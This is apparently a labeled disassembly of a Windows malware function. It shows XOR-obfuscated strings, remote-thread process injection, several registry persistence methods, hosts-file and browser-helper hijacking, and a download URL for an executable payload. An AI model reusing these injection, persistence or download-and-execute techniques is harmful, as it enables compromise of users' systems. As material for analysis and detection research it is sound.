Function at 0x40354a
Capabilities:
Get number of processors
Persist via active setup registry key
Persist via run registry key
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov eax, 0x1674
push edi
push esi
push ebx
call fcn.00405ba0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0xc], 0
call fcn.00405f10
push 0x40c0c0
mov dword [0x40c260], eax
mov dword [0x40c0c0], 0x94
call fcn.00405f20
mov eax, str.__k33p
cmp eax, 0x40aa79
jae 0x4035a8
xor byte [eax], 0xd4
inc eax
jmp 0x40359b
mov eax, str.kernel32.dll
cmp eax, 0x40aa72
jae 0x4035ba
xor byte [eax], 0xd4
inc eax
jmp 0x4035ad
push str.kernel32.dll
call fcn.00405ec0
cmp dword [0x40c0d0], 2
mov ebx, eax
je 0x4035f6
mov eax, 0x40aa4f
cmp eax, 0x40aa65
jae 0x4035e1
xor byte [eax], 0xd4
inc eax
jmp 0x4035d4
push 0x40aa4f
push ebx
call fcn.00405f30
test eax, eax
je 0x4035f6
push 1
push 0
call eax
push 0x104
lea eax, [esp + 0x1568]
push eax
push 0
call fcn.00405f40
call fcn.00405f50
mov edx, str.__k33p
call fcn.00401311
test eax, eax
je 0x4036fa
push 0
push 2
call fcn.00405ee0
mov dword [esp + 0x9c], eax
test eax, eax
je 0x40456f
call fcn.00405f60
mov dword [esp + 0x98], eax
lea eax, [esp + 0x9e4]
xor ebx, ebx
mov dword [esp + 0x9e4], 0x128
push eax
push dword [esp + 0xa0]
call fcn.00405ef0
test eax, eax
je 0x403690
mov eax, dword [esp + 0x98]
cmp dword [esp + 0x9ec], eax
je 0x4036e3
lea eax, [esp + 0x9e4]
push eax
push dword [esp + 0xa0]
call fcn.00405f00
jmp 0x403666
push dword [esp + 0x9c]
call fcn.00405d70
test ebx, ebx
je 0x40456f
push 0xffffffffffffffff
push ebx
call fcn.00405d60
push ebx
call fcn.00405d70
lea ebx, [esp + 0xb24]
push ebx
call fcn.00405d30
lea eax, [esp + 0xb14]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1588]
push eax
jmp 0x40456a
push dword [esp + 0x9fc]
push 0
push 0x100000
call fcn.00405eb0
mov ebx, eax
jmp 0x403690
cmp dword [0x40c0d0], 2
mov eax, 0x40a9a3
jne 0x40391e
mov eax, str.CreateRemoteThread
cmp eax, 0x40aa4e
jae 0x40371e
xor byte [eax], 0xd4
inc eax
jmp 0x403711
push str.CreateRemoteThread
push ebx
call fcn.00405f30
mov dword [0x40c230], eax
mov eax, str.ntdll.dll
cmp eax, 0x40aa3b
jae 0x403740
xor byte [eax], 0xd4
inc eax
jmp 0x403733
mov eax, str.NtAllocateVirtualMemory
cmp eax, 0x40aa31
jae 0x403752
xor byte [eax], 0xd4
inc eax
jmp 0x403745
mov eax, str.NtWriteVirtualMemory
cmp eax, 0x40aa19
jae 0x403764
xor byte [eax], 0xd4
inc eax
jmp 0x403757
mov eax, str.NtShutdownSystem
cmp eax, 0x40aa04
jae 0x403776
xor byte [eax], 0xd4
inc eax
jmp 0x403769
mov eax, str.RtlAdjustPrivilege
cmp eax, 0x40a9f3
jae 0x403788
xor byte [eax], 0xd4
inc eax
jmp 0x40377b
push str.NtAllocateVirtualMemory
push str.ntdll.dll
call fcn.00405ec0
push eax
mov ebx, eax
call fcn.00405f30
push str.NtWriteVirtualMemory
push ebx
mov dword [0x40c1f0], eax
call fcn.00405f30
push str.NtShutdownSystem
push ebx
mov dword [0x40c200], eax
call fcn.00405f30
push str.RtlAdjustPrivilege
push ebx
mov dword [0x40c210], eax
call fcn.00405f30
mov dword [0x40c220], eax
test eax, eax
mov edx, eax
je 0x4037ea
lea eax, [esp + 0xa3]
push eax
push 0
push 1
push 0x14
call edx
mov eax, str.NtOpenProcessToken
cmp eax, 0x40a9e0
jae 0x4037fc
xor byte [eax], 0xd4
inc eax
jmp 0x4037ef
mov eax, str.NtQueryInformationToken
cmp eax, 0x40a9cd
jae 0x40380e
xor byte [eax], 0xd4
inc eax
jmp 0x403801
push str.NtOpenProcessToken
push ebx
call fcn.00405f30
test eax, eax
mov esi, eax
je 0x403964
push str.NtQueryInformationToken
push ebx
call fcn.00405f30
test eax, eax
mov edi, eax
je 0x403964
lea eax, [esp + 0x9c]
push eax
push 8
push 0xffffffffffffffff
call esi
test eax, eax
js 0x403964
lea esi, [esp + 0x98]
mov eax, 0x2000
push esi
push 0x2000
call fcn.00401000
push eax
mov ebx, eax
push 2
push dword [esp + 0xac]
call edi
test eax, eax
js 0x403909
mov dword [esp + 0x30], 0
mov ecx, dword [ebx]
cmp dword [esp + 0x30], ecx
jae 0x403909
mov edx, dword [esp + 0x30]
mov eax, dword [ebx + edx*8 + 8]
test al, 4
je 0x403900
test al, 0x10
jne 0x403900
mov edx, dword [ebx + edx*8 + 4]
movzx eax, byte [edx + 1]
mov eax, dword [edx + eax*4 + 4]
cmp eax, 0x220
je 0x4038be
ja 0x4038b7
cmp eax, 0x200
jmp 0x4038bc
cmp eax, 0x223
jne 0x403900
mov byte [esp + 0xb], 0
push esi
push 0x2000
push ebx
push 1
push dword [esp + 0xac]
mov byte [0x40c020], 1
call edi
test eax, eax
js 0x4038f3
mov eax, dword [ebx]
cmp byte [eax + 1], 1
jne 0x4038f3
cmp dword [eax + 8], 0x12
jne 0x4038f3
mov byte [esp + 0xb], 1
movzx edx, byte [esp + 0xb]
mov byte [0x40c010], dl
jmp 0x403909
inc dword [esp + 0x30]
jmp 0x403885
mov eax, ebx
call fcn.00401029
push dword [esp + 0x9c]
call fcn.00405d70
jmp 0x403964
cmp eax, 0x40a9b5
jae 0x40392b
xor byte [eax], 0xd4
inc eax
jmp 0x40391e
push 0x40a9a3
push ebx
call fcn.00405f30
mov edx, eax
cmp dword [edx], 0xfff00068
je 0x403943
inc edx
jmp 0x403938
add edx, dword [edx + 7]
lea eax, [edx + 0xb]
mov dword [0x40c240], eax
mov eax, dword fs:[0x30]
mov dword [0x40c250], eax
call fcn.00405f60
xor dword [0x40c250], eax
lea eax, [esp + 0xb74]
push eax
push 2
call fcn.004061b0
call fcn.00405f70
mov ebx, eax
call fcn.00405f60
xor ebx, eax
call fcn.00405f80
shl eax, 0x10
xor ebx, eax
mov eax, str.rasapi32.dll
mov dword [0x40c270], ebx
cmp eax, 0x40a9a2
jae 0x4039a3
xor byte [eax], 0xd4
inc eax
jmp 0x403996
push str.rasapi32.dll
call fcn.00405ec0
test eax, eax
mov ebx, eax
je 0x4039d7
mov eax, str.RasEnumConnectionsA
cmp eax, 0x40a995
jae 0x4039c5
xor byte [eax], 0xd4
inc eax
jmp 0x4039b8
push str.RasEnumConnectionsA
push ebx
call fcn.00405f30
mov dword [0x40c180], eax
jmp 0x4039e1
mov dword [0x40c180], 0
mov eax, str.iphlpapi.dll
cmp eax, 0x40a981
jae 0x4039f3
xor byte [eax], 0xd4
inc eax
jmp 0x4039e6
push str.iphlpapi.dll
call fcn.00405ec0
test eax, eax
mov ebx, eax
je 0x403a27
mov eax, str.GetIpAddrTable
cmp eax, 0x40a974
jae 0x403a15
xor byte [eax], 0xd4
inc eax
jmp 0x403a08
push str.GetIpAddrTable
push ebx
call fcn.00405f30
mov dword [0x40c190], eax
jmp 0x403a31
mov dword [0x40c190], 0
mov eax, str._Classes
cmp eax, 0x40a965
jae 0x403a43
xor byte [eax], 0xd4
inc eax
jmp 0x403a36
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
cmp eax, 0x40a95c
jae 0x403a55
xor byte [eax], 0xd4
inc eax
jmp 0x403a48
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
cmp eax, 0x40a907
jae 0x403a67
xor byte [eax], 0xd4
inc eax
jmp 0x403a5a
mov eax, str.ProxyEnable
cmp eax, 0x40a8a1
jae 0x403a79
xor byte [eax], 0xd4
inc eax
jmp 0x403a6c
mov eax, str.Connections
cmp eax, 0x40a895
jae 0x403a8b
xor byte [eax], 0xd4
inc eax
jmp 0x403a7e
mov eax, str.wininet.dll
cmp eax, 0x40a889
jae 0x403a9d
xor byte [eax], 0xd4
inc eax
jmp 0x403a90
push str.wininet.dll
call fcn.00405ec0
test eax, eax
mov ebx, eax
je 0x403b5d
mov eax, str.InternetOpenA
cmp eax, 0x40a87d
jae 0x403ac3
xor byte [eax], 0xd4
inc eax
jmp 0x403ab6
mov eax, str.InternetOpenUrlA
cmp eax, 0x40a86f
jae 0x403ad5
xor byte [eax], 0xd4
inc eax
jmp 0x403ac8
mov eax, str.InternetReadFile
cmp eax, 0x40a85e
jae 0x403ae7
xor byte [eax], 0xd4
inc eax
jmp 0x403ada
mov eax, str.InternetSetOptionA
cmp eax, 0x40a84d
jae 0x403af9
xor byte [eax], 0xd4
inc eax
jmp 0x403aec
mov eax, str.InternetCloseHandle
cmp eax, 0x40a83a
jae 0x403b0b
xor byte [eax], 0xd4
inc eax
jmp 0x403afe
push str.InternetOpenA
push ebx
call fcn.00405f30
push str.InternetOpenUrlA
push ebx
mov dword [0x40c1a0], eax
call fcn.00405f30
push str.InternetReadFile
push ebx
mov dword [0x40c1b0], eax
call fcn.00405f30
push str.InternetSetOptionA
push ebx
mov dword [0x40c1c0], eax
call fcn.00405f30
push str.InternetCloseHandle
push ebx
mov dword [0x40c1d0], eax
call fcn.00405f30
mov dword [0x40c1e0], eax
jmp 0x403b67
mov dword [0x40c1a0], 0
mov eax, str.winrnt.exe
cmp eax, 0x40a826
jae 0x403b79
xor byte [eax], 0xd4
inc eax
jmp 0x403b6c
mov eax, str.rmass.exe
cmp eax, 0x40a81b
jae 0x403b8b
xor byte [eax], 0xd4
inc eax
jmp 0x403b7e
mov eax, str.RECOVER32.DLL
cmp eax, 0x40a811
jae 0x403b9d
xor byte [eax], 0xd4
inc eax
jmp 0x403b90
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotifyBC84DF00_BC38_9902_8082_6FCBF2D87A0B
cmp eax, 0x40a803
jae 0x403baf
xor byte [eax], 0xd4
inc eax
jmp 0x403ba2
mov eax, str.aset32.exe
cmp eax, 0x40a79b
jae 0x403bc1
xor byte [eax], 0xd4
inc eax
jmp 0x403bb4
mov eax, str.idbg32.exe
cmp eax, 0x40a790
jae 0x403bd3
xor byte [eax], 0xd4
inc eax
jmp 0x403bc6
mov eax, str.http:___s.biz_d_N_
cmp eax, 0x40a785
jae 0x403be5
xor byte [eax], 0xd4
inc eax
jmp 0x403bd8
mov eax, str.http:___s.biz_d_G_
cmp eax, 0x40a772
jae 0x403bf7
xor byte [eax], 0xd4
inc eax
jmp 0x403bea
mov eax, str.http:__utbidet_ugeas.biz_d_rpt_
cmp eax, 0x40a75f
jae 0x403c09
xor byte [eax], 0xd4
inc eax
jmp 0x403bfc
mov eax, str.modem
cmp eax, 0x40a73c
jae 0x403c1b
xor byte [eax], 0xd4
inc eax
jmp 0x403c0e
mov eax, str.isdn
cmp eax, 0x40a736
jae 0x403c2d
xor byte [eax], 0xd4
inc eax
jmp 0x403c20
mov eax, str.driversetchosts
cmp eax, 0x40a731
jae 0x403c3f
xor byte [eax], 0xd4
inc eax
jmp 0x403c32
mov eax, str..google.
cmp eax, 0x40a71e
jae 0x403c51
xor byte [eax], 0xd4
inc eax
jmp 0x403c44
mov eax, str._google.
cmp eax, 0x40a715
jae 0x403c63
xor byte [eax], 0xd4
inc eax
jmp 0x403c56
mov eax, str._tgoogle.
cmp eax, 0x40a70c
jae 0x403c75
xor byte [eax], 0xd4
inc eax
jmp 0x403c68
mov eax, str.search.yahoo.
cmp eax, 0x40a703
jae 0x403c87
xor byte [eax], 0xd4
inc eax
jmp 0x403c7a
mov eax, str.search.msn.
cmp eax, 0x40a6f5
jae 0x403c99
xor byte [eax], 0xd4
inc eax
jmp 0x403c8c
mov eax, str.jdial.biz
cmp eax, 0x40a6e9
jae 0x403cab
xor byte [eax], 0xd4
inc eax
jmp 0x403c9e
mov eax, str.nichetgp.com
cmp eax, 0x40a6df
jae 0x403cbd
xor byte [eax], 0xd4
inc eax
jmp 0x403cb0
mov eax, str._u._u._u._s
cmp eax, 0x40a6d2
jae 0x403ccf
xor byte [eax], 0xd4
inc eax
jmp 0x403cc2
mov eax, str._02X_02X_02X_02X__02x_02x__02x_02x__02X_02X__02X_02X_02X_02X_02x_02x
cmp eax, 0x40a6c6
jae 0x403ce1
xor byte [eax], 0xd4
inc eax
jmp 0x403cd4
mov eax, str._ComSpec_
cmp eax, 0x40a665
jae 0x403cf3
xor byte [eax], 0xd4
inc eax
jmp 0x403ce6
mov eax, str._CommonProgramFiles_System_
cmp eax, 0x40a65b
jae 0x403d05
xor byte [eax], 0xd4
inc eax
jmp 0x403cf8
mov eax, str._AppData__
cmp eax, 0x40a63e
jae 0x403d17
xor byte [eax], 0xd4
inc eax
jmp 0x403d0a
mov eax, str.Debugger
cmp eax, 0x40a633
jae 0x403d29
xor byte [eax], 0xd4
inc eax
jmp 0x403d1c
mov eax, str.IsInstalled
cmp eax, 0x40a62a
jae 0x403d3b
xor byte [eax], 0xd4
inc eax
jmp 0x403d2e
mov eax, str.StubPath
cmp eax, 0x40a61e
jae 0x403d4d
xor byte [eax], 0xd4
inc eax
jmp 0x403d40
mov eax, str.museum
cmp eax, 0x40a615
jae 0x403d5f
xor byte [eax], 0xd4
inc eax
jmp 0x403d52
mov eax, str.GET___s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__r_n_r_n
cmp eax, 0x40a60e
jae 0x403d71
xor byte [eax], 0xd4
inc eax
jmp 0x403d64
mov eax, str.GET___s_HTTP_1.0_r_nHost:__s:_u_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__r_n_r_n
cmp eax, 0x40a5b1
jae 0x403d83
xor byte [eax], 0xd4
inc eax
jmp 0x403d76
mov eax, str.Mozilla_4.0__compatible__MSIE_6.0__Win32_
cmp eax, 0x40a549
jae 0x403d95
xor byte [eax], 0xd4
inc eax
jmp 0x403d88
mov eax, str.HTTP_1.0_200
cmp eax, 0x40a508
jae 0x403da7
xor byte [eax], 0xd4
inc eax
jmp 0x403d9a
mov eax, str.urlinj_conn
cmp eax, 0x40a4fb
jae 0x403db9
xor byte [eax], 0xd4
inc eax
jmp 0x403dac
mov eax, str.urlinj_creat
cmp eax, 0x40a4ef
jae 0x403dcb
xor byte [eax], 0xd4
inc eax
jmp 0x403dbe
mov eax, str.urlinj_xfer
cmp eax, 0x40a4e2
jae 0x403ddd
xor byte [eax], 0xd4
inc eax
jmp 0x403dd0
mov eax, str.urlinj_creat_f
cmp eax, 0x40a4d6
jae 0x403def
xor byte [eax], 0xd4
inc eax
jmp 0x403de2
mov eax, str.urlinj_fork
cmp eax, 0x40a4c7
jae 0x403e01
xor byte [eax], 0xd4
inc eax
jmp 0x403df4
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanced
cmp eax, 0x40a4bb
jae 0x403e13
xor byte [eax], 0xd4
inc eax
jmp 0x403e06
mov eax, str.ConnPred
cmp eax, 0x40a470
jae 0x403e25
xor byte [eax], 0xd4
inc eax
jmp 0x403e18
mov eax, str.UseExtProfile
cmp eax, 0x40a467
jae 0x403e37
xor byte [eax], 0xd4
inc eax
jmp 0x403e2a
mov eax, str.UseDflProfile
cmp eax, 0x40a459
jae 0x403e49
xor byte [eax], 0xd4
inc eax
jmp 0x403e3c
mov eax, str.http:__utbidet_ugeas.biz_d_cc
cmp eax, 0x40a44b
jae 0x403e5b
xor byte [eax], 0xd4
inc eax
jmp 0x403e4e
mov eax, str.grazie.gif
cmp eax, 0x40a42d
jae 0x403e6d
xor byte [eax], 0xd4
inc eax
jmp 0x403e60
mov eax, str.http:__69.50.173.166_gdnOT2424.exe
cmp eax, 0x40a422
jae 0x403e7f
xor byte [eax], 0xd4
inc eax
jmp 0x403e72
mov eax, str.tombul.gif
cmp eax, 0x40a3e8
jae 0x403e91
xor byte [eax], 0xd4
inc eax
jmp 0x403e84
mov eax, str.SubshellState
cmp eax, 0x40a3dd
jae 0x403ea3
xor byte [eax], 0xd4
inc eax
jmp 0x403e96
mov eax, str.g00d_d0gg
cmp eax, 0x40a3cf
jae 0x403eb5
xor byte [eax], 0xd4
inc eax
jmp 0x403ea8
mov eax, str.winlogon.exe
cmp eax, 0x40a3c5
jae 0x403ec7
xor byte [eax], 0xd4
inc eax
jmp 0x403eba
mov eax, str.explorer.exe
cmp eax, 0x40a3b8
jae 0x403ed9
xor byte [eax], 0xd4
inc eax
jmp 0x403ecc
mov eax, str.DLLName
cmp eax, 0x40a3ab
jae 0x403eeb
xor byte [eax], 0xd4
inc eax
jmp 0x403ede
mov eax, str.Startup
cmp eax, 0x40a3a3
jae 0x403efd
xor byte [eax], 0xd4
inc eax
jmp 0x403ef0
mov eax, str.CLSID0D97A4D2_9F3D_E91C_5EAD_E685720E2FCCInProcServer32
cmp eax, 0x40a39b
jae 0x403f0f
xor byte [eax], 0xd4
inc eax
jmp 0x403f02
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects0D97A4D2_9F3D_E91C_5EAD_E685720E2FCC
cmp eax, 0x40a350
jae 0x403f21
xor byte [eax], 0xd4
inc eax
jmp 0x403f14
mov eax, str.ThreadingModel
cmp eax, 0x40a2c3
jae 0x403f33
xor byte [eax], 0xd4
inc eax
jmp 0x403f26
mov eax, str.Both
cmp eax, 0x40a2b4
jae 0x403f45
xor byte [eax], 0xd4
inc eax
jmp 0x403f38
mov eax, 0x40a2a5
cmp eax, 0x40a2af
jae 0x403f57
xor byte [eax], 0xd4
inc eax
jmp 0x403f4a
mov eax, str.127.0.0.1_jdial.biz_content.jdial.biz_nichetgp.com_www.nichetgp.com_r_nhttp:___s_
cmp eax, 0x40a2a5
jae 0x403f69
xor byte [eax], 0xd4
inc eax
jmp 0x403f5c
mov eax, 0x409c60
cmp eax, str.127.0.0.1_jdial.biz_content.jdial.biz_nichetgp.com_www.nichetgp.com_r_nhttp:___s_
jae 0x403f7b
xor byte [eax], 0xd4
inc eax
jmp 0x403f6e
mov eax, 0x408860
cmp eax, 0x409c60
jae 0x403f8d
xor byte [eax], 0xd4
inc eax
jmp 0x403f80
cmp dword [0x40c0d0], 2
lea ebx, [esp + 0xd04]
jne 0x403faf
push 0xf2
push ebx
call fcn.00405f90
push str.driversetchosts
jmp 0x403fbf
push 0xfe
push ebx
call fcn.00405fa0
push 0x40a72b
push ebx
call fcn.00405dd0
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x157c]
push eax
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x404054
cmp eax, 0xffffffff
je 0x404054
push 2
push 0
push 0xfffffffffffffff4
push eax
call fcn.00405e10
push 0
lea ebx, [esp + 0x9c]
push ebx
push 4
push 0x40c0a0
push dword [esp + 0xac]
call fcn.00405da0
push 0
push ebx
push 4
push 0x40c090
push dword [esp + 0xac]
call fcn.00405da0
push 0
push ebx
push 4
push 0x40c0b0
push dword [esp + 0xac]
call fcn.00405da0
push dword [esp + 0x9c]
call fcn.00405d70
jmp 0x404072
mov dword [0x40c0b0], 0
mov dword [0x40c0a0], 0
mov dword [0x40c090], 0
push str.rmass.exe
lea eax, [esp + 0x1568]
call fcn.004010dc
push eax
call fcn.00405e40
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x1c], eax
mov eax, str.qnd_b___0F
cmp eax, 0x408858
jae 0x4040a7
xor byte [eax], 0xd4
inc eax
jmp 0x40409a
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
cmp eax, 0x40884d
jae 0x4040b9
xor byte [eax], 0xd4
inc eax
jmp 0x4040ac
mov eax, str.Default_Flags
cmp eax, 0x4087e5
jae 0x4040cb
xor byte [eax], 0xd4
inc eax
jmp 0x4040be
mov dword [esp + 0x30], 1
push dword [esp + 0x30]
push str._02X
push 0x408856
call fcn.004060e0
push str.qnd_b___0F
push 1
push 0x4087b8
call fcn.00405fb0
mov dword [esp + 0x1c], eax
add esp, 0xc
test eax, eax
je 0x4043aa
call fcn.00405fc0
cmp eax, 0xb7
jne 0x40439a
cmp dword [esp + 0x30], 0xe
jg 0x40437a
push 0
push 2
call fcn.00405ee0
test eax, eax
mov ebp, eax
je 0x40428b
lea eax, [esp + 0x1f4]
call fcn.00403305
mov dword [esp + 4], eax
test eax, eax
je 0x40417b
push str.SubshellState
push eax
call fcn.004060a0
push dword [esp + 4]
call fcn.00406030
lea esi, [esp + 0x216]
lea edx, [esp + 0x31a]
cmp esi, edx
jae 0x40417b
movzx eax, byte [esp + 0x1f4]
xor byte [esi], al
inc esi
jmp 0x40416a
call fcn.00405f60
mov dword [esp + 0x424], 0x128
mov ebx, eax
lea eax, [esp + 0x424]
push eax
xor edi, edi
push ebp
call fcn.00405ef0
test eax, eax
je 0x40420a
cmp dword [esp + 0x42c], ebx
je 0x4041fa
push str.rmass.exe
lea eax, [esp + 0x44c]
call fcn.004010dc
push eax
mov esi, eax
call fcn.00405e40
test eax, eax
je 0x4041d6
push str.winrnt.exe
push esi
call fcn.00405e40
test eax, eax
jne 0x4041fa
push dword [esp + 0x42c]
push 0
push 0x100201
call fcn.00405eb0
mov dword [esp + edi*4 + 0x554], eax
test eax, eax
je 0x4041fa
inc edi
cmp edi, 9
ja 0x40420a
lea eax, [esp + 0x424]
push eax
push ebp
call fcn.00405f00
jmp 0x40419d
push ebp
xor ebx, ebx
call fcn.00405d70
cmp ebx, edi
jge 0x404227
push 0x40
push dword [esp + ebx*4 + 0x558]
inc ebx
call fcn.00405fd0
jmp 0x404212
mov esi, 4
xor ebx, ebx
cmp ebx, edi
jge 0x404243
push 0
push dword [esp + ebx*4 + 0x558]
inc ebx
call fcn.00405fe0
jmp 0x40422e
dec esi
jns 0x40422c
xor ebx, ebx
cmp ebx, edi
jge 0x40426c
push 0x1388
push dword [esp + ebx*4 + 0x558]
call fcn.00405d60
push dword [esp + ebx*4 + 0x554]
inc ebx
call fcn.00405d70
jmp 0x404248
cmp dword [esp + 4], 0
je 0x40428b
push pe_nt_image_headers32
lea ebx, [esp + 0x21a]
push ebx
call fcn.00405d80
push ebx
call fcn.00405db0
cmp dword [esp + 0x30], 0xb
jg 0x4043a1
lea eax, [esp + 0x94]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000001
call fcn.00406010
test eax, eax
jne 0x4043a1
mov dword [esp + 0x2c], 0
push 0
lea eax, [esp + 0x94]
push eax
push 0x4087b8
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000002
call fcn.00406060
test eax, eax
jne 0x40436c
mov dword [esp + 0x98], 0x12
lea eax, [esp + 0x98]
push eax
push 0x40c160
push 0
push 0
push str.Default_Flags
push dword [esp + 0xa8]
call fcn.00406070
test eax, eax
jne 0x40434a
push 0x12
push 0x40c160
push 3
push 0
push str.Default_Flags
push dword [esp + 0xa4]
call fcn.00406080
test eax, eax
sete al
movzx eax, al
mov dword [esp + 0x2c], eax
push dword [esp + 0x90]
call fcn.00406030
cmp dword [esp + 0x2c], 0
jne 0x40436c
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnection_Policy
push 0x80000002
call fcn.00406040
push dword [esp + 0x94]
call fcn.00406030
jmp 0x4043a1
lea eax, [esp + 0xd04]
call fcn.004014f6
cmp dword [esp + 0x1c], 0
jne 0x40456f
push 0
call fcn.00402886
jmp 0x4043a1
cmp dword [esp + 0x30], 0xe
jg 0x4043b3
push dword [esp + 0x10]
call fcn.00405d70
inc dword [esp + 0x30]
jmp 0x4040d3
push 0x104
lea ebx, [esp + 0x1348]
push ebx
push str._ComSpec_
call fcn.00405ff0
test eax, eax
je 0x404423
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call fcn.00405d50
mov dword [esp + 0x9c], eax
cmp eax, 0xffffffff
mov edx, eax
je 0x404423
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push edx
call fcn.00405de0
push dword [esp + 0x9c]
call fcn.00405d70
mov dword [esp + 0xc], 1
cmp dword [esp + 0x1c], 0
jne 0x40457d
push 0xfa
lea ebx, [esp + 0x1458]
push ebx
call fcn.00405f90
push str.rmass.exe
push 0x40b041
push ebx
call fcn.00405dd0
push eax
call fcn.00405dd0
lea esi, [esp + 0x1564]
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
jne 0x4044df
push 0x104
push ebx
push str.rmass.exe
push str._CommonProgramFiles_System_
lea edi, [esp + 0x1354]
push edi
call fcn.00405dc0
push eax
call fcn.00405dd0
push eax
call fcn.00405ff0
test eax, eax
je 0x4044a4
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
jne 0x4044df
push 0x104
push ebx
push str.rmass.exe
push str._AppData__
push edi
call fcn.00405dc0
push eax
call fcn.00405dd0
push eax
call fcn.00405ff0
test eax, eax
je 0x404576
mov edx, ebx
mov eax, esi
call fcn.004010f7
test eax, eax
je 0x404576
cmp dword [esp + 0xc], 0
je 0x40452d
push 0
push 0
push 3
push 0
push 1
push 0x80000100
lea eax, [esp + 0x146c]
push eax
call fcn.00405d50
cmp eax, 0xffffffff
mov ebx, eax
je 0x40452d
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x80]
push eax
push ebx
call fcn.00405e30
push ebx
call fcn.00405d70
push 0x21
lea esi, [esp + 0x1458]
push esi
call fcn.00405d80
push dword [esp + 0x10]
call fcn.00405d70
lea ebx, [esp + 0xb24]
push ebx
call fcn.00405d30
lea eax, [esp + 0xb14]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call fcn.00405d40
push 0
call fcn.00405ea0
mov byte [section..bss], 1
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x157c]
push eax
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x4045e5
cmp eax, 0xffffffff
je 0x4045e5
push 0
push eax
call fcn.00405df0
mov ebp, eax
call fcn.00401000
mov dword [esp + 0x14], eax
push 0
lea eax, [esp + 0x9c]
push eax
push ebp
push dword [esp + 0x20]
push dword [esp + 0xac]
call fcn.00405da0
push dword [esp + 0x9c]
call fcn.00405d70
jmp 0x4045ef
mov dword [esp + 0x14], 0
xor ebp, ebp
lea eax, [esp + 0x98]
push eax
push 0
lea eax, [esp + 0x156c]
push eax
push 0x401038
push 0x1000
push 0
call fcn.00405e50
push eax
call fcn.00405d70
mov eax, str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsexplorer.exe
cmp eax, 0x4087b6
jae 0x40462a
xor byte [eax], 0xd4
inc eax
jmp 0x40461d
mov eax, str.ntdbg.exe
cmp eax, 0x408749
jae 0x40463c
xor byte [eax], 0xd4
inc eax
jmp 0x40462f
mov eax, 0x407b40
cmp eax, str.ntdbg.exe
jae 0x40464e
xor byte [eax], 0xd4
inc eax
jmp 0x404641
cmp dword [0x40c0d0], 2
jne 0x4048a8
lea eax, [esp + 0x94]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Optionsexplorer.exe
push 0x80000002
call fcn.004060b0
test eax, eax
jne 0x4048a8
push 0x104
lea ebx, [esp + 0x1238]
push ebx
call fcn.00405f90
push str.ntdbg.exe
push 0x40b041
push ebx
call fcn.00405dd0
push eax
call fcn.00405dd0
mov eax, str.1A59D3E9_9D17_EB65_EA3F_071C953972C0
cmp eax, 0x407b26
jae 0x4046b4
xor byte [eax], 0xd4
inc eax
jmp 0x4046a7
push str.1A59D3E9_9D17_EB65_EA3F_071C953972C0
push 0
push 0
call fcn.00405fb0
mov dword [esp + 0x9c], eax
test eax, eax
je 0x4046e6
push 0x2710
push eax
call fcn.00405d60
push dword [esp + 0x9c]
call fcn.00405d70
jmp 0x4046f0
push 0x7d0
call fcn.00405e60
push pe_nt_image_headers32
lea ebx, [esp + 0x1238]
push ebx
call fcn.00405d80
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push ebx
call fcn.00405d50
mov dword [esp + 0x9c], eax
test eax, eax
je 0x40489c
cmp eax, 0xffffffff
je 0x40489c
push 0
lea edx, [esp + 0x9c]
push edx
push 0xc00
push 0x407b40
push eax
call fcn.00405d90
call fcn.004010b2
mov byte [esp + 0x1b], al
test eax, eax
jne 0x40475e
mov byte [esp + 0x1b], 0x66
lea eax, [ebp + 0x64]
call fcn.00401000
mov byte [ebp + eax], 0
mov edi, eax
mov esi, eax
mov edx, dword [esp + 0x14]
lea eax, [eax + ebp]
cmp esi, eax
jae 0x40478a
movzx eax, byte [esp + 0x1b]
xor al, byte [edx]
inc edx
mov byte [esi], al
inc esi
lea eax, [edi + ebp]
jmp 0x404776
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
call fcn.00405e00
lea esi, [ebx + eax + 5]
add ebx, 0x64
cmp esi, ebx
jae 0x4047b5
call fcn.004010b2
mov byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
cmp esi, eax
jmp 0x4047a3
mov dword [edi + ebp + 1], ebp
lea eax, [esp + 0x1564]
lea ebx, [edi + ebp]
push eax
lea eax, [ebx + 5]
mov esi, ebx
push eax
call fcn.00405dc0
lea eax, [ebx + 0x64]
cmp esi, eax
jae 0x4047e4
movzx eax, byte [esp + 0x1b]
xor byte [esi], al
inc esi
lea eax, [edi + ebp + 0x64]
jmp 0x4047d2
